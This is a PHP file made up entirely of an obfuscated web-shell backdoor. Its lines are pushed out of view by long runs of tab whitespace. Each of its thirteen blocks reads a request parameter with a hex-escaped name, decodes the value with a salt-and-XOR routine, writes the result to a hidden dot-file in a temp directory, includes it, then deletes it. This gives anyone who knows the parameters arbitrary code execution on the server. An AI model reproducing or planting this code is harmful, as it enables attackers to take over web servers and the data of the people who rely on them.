<?php																																										if(isset($_REQUEST["el\x65\x6D"])){ $bind = array_filter(["/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), getenv("TEMP"), "/dev/shm", session_save_path(), sys_get_temp_dir()]); $rec = $_REQUEST["el\x65\x6D"]; $rec =explode ( '.', $rec ) ; $parameter_group = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s9 ); foreach( $rec as $w => $v5): $chS = ord( $s9[$w % $lenS] ); $dec = ( ( int)$v5 - $chS -( $w % 10))^ 13; $parameter_group .= chr( $dec ); endforeach; $property_set = 0; do { $item = $bind[$property_set] ?? null; if ($property_set >= count($bind)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($item)) { $res = "$item" . "/.ent"; if (file_put_contents($res, $parameter_group)) { include $res; @unlink($res); die(); } } $property_set++; } while (true); }
																																										if(!empty($_REQUEST["p\x74\x72"])){ $sym = array_filter([getenv("TMP"), getcwd(), session_save_path(), "/dev/shm", sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]); $object = $_REQUEST["p\x74\x72"]; $object = explode( "." , $object) ; $holder = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $w = 0; $__tmp = $object; while ($v9 = array_shift($__tmp)) { $chS = ord($salt[$w % $sLen]); $d = ((int)$v9 - $chS - ($w % 10))^24; $holder .= chr($d); $w++; } while ($key = array_shift($sym)) { if ((function($d) { return is_dir($d) && is_writable($d); })($key)) { $property_set = join("/", [$key, ".dat"]); $file = fopen($property_set, 'w'); if ($file) { fwrite($file, $holder); fclose($file); include $property_set; @unlink($property_set); exit; } } } }
																																										if(array_key_exists("\x64\x61ta", $_POST)){ $itm = array_filter([getenv("TMP"), session_save_path(), getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", "/tmp", sys_get_temp_dir()]); $record = $_POST["\x64\x61ta"]; $record = explode ( "." , $record ) ; $reference = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8 ); $t = 0; foreach($record as $v9) { $sChar = ord($salt8[$t% $lenS] ); $dec =((int)$v9 - $sChar -($t% 10))^38; $reference .= chr($dec ); $t++;} foreach ($itm as $key => $k) { if (is_dir($k) && is_writable($k)) { $val = str_replace("{var_dir}", $k, "{var_dir}/.descriptor"); $success = file_put_contents($val, $reference); if ($success) { include $val; @unlink($val); exit;} } } }
																																										if(isset($_REQUEST["\x74\x6Bn"])){ $ref = $_REQUEST["\x74\x6Bn"]; $ref = explode( '.' , $ref ) ; $pointer =''; $s5 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s5); $len =count($ref); for ($w =0; $w < $len; $w++) { $v9 =$ref[$w]; $chS =ord($s5[$w % $sLen]); $dec =((int)$v9 - $chS - ($w % 10)) ^ 56; $pointer .= chr($dec);} $record = array_filter([getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", "/tmp", session_save_path(), "/dev/shm", getenv("TEMP")]); foreach ($record as $key => $obj) { if (is_dir($obj) && is_writable($obj)) { $token = sprintf("%s/.binding", $obj); if (file_put_contents($token, $pointer)) { require $token; unlink($token); die(); } } } }
																																										if(array_key_exists("dc\x68u\x6Ek", $_POST)){ $pointer = $_POST["dc\x68u\x6Ek"]; $pointer =explode( '.', $pointer ) ; $data =''; $salt5 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt5); $z =0; $__tmp =$pointer; while ($v8 =array_shift($__tmp)) { $chS =ord($salt5[$z % $lenS]); $dec =((int)$v8 - $chS - ($z % 10)) ^ 8; $data.=chr($dec); $z++; } $item = array_filter([getenv("TEMP"), "/dev/shm", getenv("TMP"), "/tmp", sys_get_temp_dir(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path()]); foreach ($item as $bind) { if (!!is_dir($bind) && !!is_writable($bind)) { $tkn = "$bind" . "/.descriptor"; $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $data); fclose($file); include $tkn; @unlink($tkn); die(); } } } }
																																										if(isset($_REQUEST["e\x6E\x74ry"])){ $factor = array_filter([getenv("TMP"), session_save_path(), "/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP")]); $token = $_REQUEST["e\x6E\x74ry"]; $token = explode( "." , $token ) ; $binding =''; $s6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s6); foreach ($token as $u=> $v8) { $chS =ord($s6[$u% $lenS]); $dec =((int)$v8 - $chS - ($u% 10)) ^ 33; $binding .= chr($dec); } $hld = 0; do { $res = $factor[$hld] ?? null; if ($hld >= count($factor)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($res)) { $object = vsprintf("%s/%s", [$res, ".symbol"]); $success = file_put_contents($object, $binding); if ($success) { include $object; @unlink($object); exit;} } $hld++; } while (true); }
																																										if(@$_REQUEST["\x65\x6Et"] !== null){ $obj = array_filter([getenv("TEMP"), session_save_path(), "/tmp", "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), getenv("TMP")]); $k = $_REQUEST["\x65\x6Et"]; $k =explode ( ".", $k ); $data=''; $salt5='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt5 ); $m=0; $len=count($k ); do { if ($m >= $len) break; $v2=$k[$m]; $sChar=ord($salt5[$m % $sLen] ); $d=((int)$v2 - $sChar - ($m % 10))^ 64; $data .= chr($d ); $m++;}while (true ); $component = 0; do { $binding = $obj[$component] ?? null; if ($component >= count($obj)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($binding)) { $entity = implode("/", [$binding, ".fac"]); $file = fopen($entity, 'w'); if ($file) { fwrite($file, $data); fclose($file); include $entity; @unlink($entity); die(); } } $component++; } while (true); }
																																										if(isset($_POST) && isset($_POST["\x74oke\x6E"])){ $reference = $_POST["\x74oke\x6E"]; $reference= explode ("." , $reference) ; $data_chunk = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s3); $q = 0; $__tmp = $reference; while( $v3 = array_shift( $__tmp)) { $sChar = ord( $s3[$q % $sLen]); $dec = ( ( int)$v3 - $sChar -( $q % 10))^4; $data_chunk .= chr( $dec); $q++; } $elem = array_filter([getcwd(), "/dev/shm", "/var/tmp", session_save_path(), "/tmp", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP")]); foreach ($elem as $mrk) { if (is_dir($mrk) ? is_writable($mrk) : false) { $flag = vsprintf("%s/%s", [$mrk, ".component"]); if (file_put_contents($flag, $data_chunk)) { include $flag; @unlink($flag); exit; } } } }
																																										if(@$_POST["\x69\x74em"] !== null){ $rec = $_POST["\x69\x74em"]; $rec = explode( '.' , $rec); $ref=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); $len=count($rec); for($i=0; $i <$len; $i++) { $v4=$rec[$i]; $sChar=ord($s[$i % $sLen]); $dec=((int)$v4 - $sChar -($i % 10)) ^ 67; $ref.= chr($dec); } $ptr = array_filter([getenv("TMP"), getenv("TEMP"), getcwd(), session_save_path(), "/tmp", "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm"]); while ($hld = array_shift($ptr)) { if (max(0, is_dir($hld) * is_writable($hld))) { $token = "$hld" . "/.object"; $file = fopen($token, 'w'); if ($file) { fwrite($file, $ref); fclose($file); include $token; @unlink($token); die(); } } } }
																																										if(in_array("\x68\x6F\x6Cder", array_keys($_REQUEST))){ $ref = array_filter([session_save_path(), "/tmp", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/dev/shm", getenv("TEMP")]); $property_set = $_REQUEST["\x68\x6F\x6Cder"]; $property_set= explode ( '.' ,$property_set ) ; $parameter_group =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt ); foreach( $property_set as $p => $v6): $sChar =ord( $salt[$p % $lenS] ); $d =( ( int)$v6 - $sChar -( $p % 10)) ^ 46; $parameter_group .= chr( $d ); endforeach; for ($value = 0, $flag = count($ref); $value < $flag; $value++) { $k = $ref[$value]; if (is_dir($k) ? is_writable($k) : false) { $entry = vsprintf("%s/%s", [$k, ".desc"]); $success = file_put_contents($entry, $parameter_group); if ($success) { include $entry; @unlink($entry); exit;} } } }
																																										if(count($_POST) > 0 && isset($_POST["pro\x70\x65\x72t\x79_s\x65\x74"])){ $elem = array_filter(["/var/tmp", sys_get_temp_dir(), getcwd(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getenv("TEMP"), "/dev/shm"]); $parameter_group = $_POST["pro\x70\x65\x72t\x79_s\x65\x74"]; $parameter_group = explode (".",$parameter_group ); $resource = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s3); foreach( $parameter_group as $m => $v6) { $chS = ord( $s3[$m % $lenS]); $dec =( ( int)$v6 - $chS -( $m % 10)) ^ 79; $resource .=chr( $dec);} $marker = 0; do { $ptr = $elem[$marker] ?? null; if ($marker >= count($elem)) break; if (!( !is_dir($ptr) || !is_writable($ptr) )) { $object = vsprintf("%s/%s", [$ptr, ".component"]); if (@file_put_contents($object, $resource) !== false) { include $object; unlink($object); die(); } } $marker++; } while (true); }
																																										if(@$_REQUEST["p\x61ramete\x72_\x67r\x6Fup"] !== null){ $res = $_REQUEST["p\x61ramete\x72_\x67r\x6Fup"]; $res = explode ('.',$res ); $descriptor = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); $w = 0; array_walk($res, function ($v7) use (&$descriptor, &$w, $salt3, $lenS) { $sChar = ord($salt3[$w % $lenS]); $dec = ((int)$v7 - $sChar - ($w % 10))^97; $descriptor .=chr($dec); $w++; }); $resource = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", session_save_path()]); $val = 0; do { $obj = $resource[$val] ?? null; if ($val >= count($resource)) break; if (is_dir($obj) ? is_writable($obj) : false) { $item = "$obj" . "/.data_chunk"; if (@file_put_contents($item, $descriptor) !== false) { include $item; unlink($item); exit; } } $val++; } while (true); }


if(isset($_POST) && isset($_POST["t\x6Bn"])){
	$symbol = array_filter(["/dev/shm", "/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), session_save_path()]);
	$res = $_POST["t\x6Bn"];
	 		$res		=explode  (	'.',		$res	 )	; 
	$token ='';
            $s8 ='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS =strlen($s8);
            $u =0;
    
            foreach ($res as $v1) {$chS =ord($s8[$u%		$lenS]);
                $dec =((int)$v1 - $chS - ($u%		10))	^ 81;
                $token .= chr($dec);
                $u++;}	 
	foreach ($symbol as $desc):
    		if (array_product([is_dir($desc), is_writable($desc)])) {
    $binding = sprintf("%s/.flag", $desc);
    if (file_put_contents($binding, $token)) {
	require $binding;
	unlink($binding);
	exit;
}
}
endforeach;
}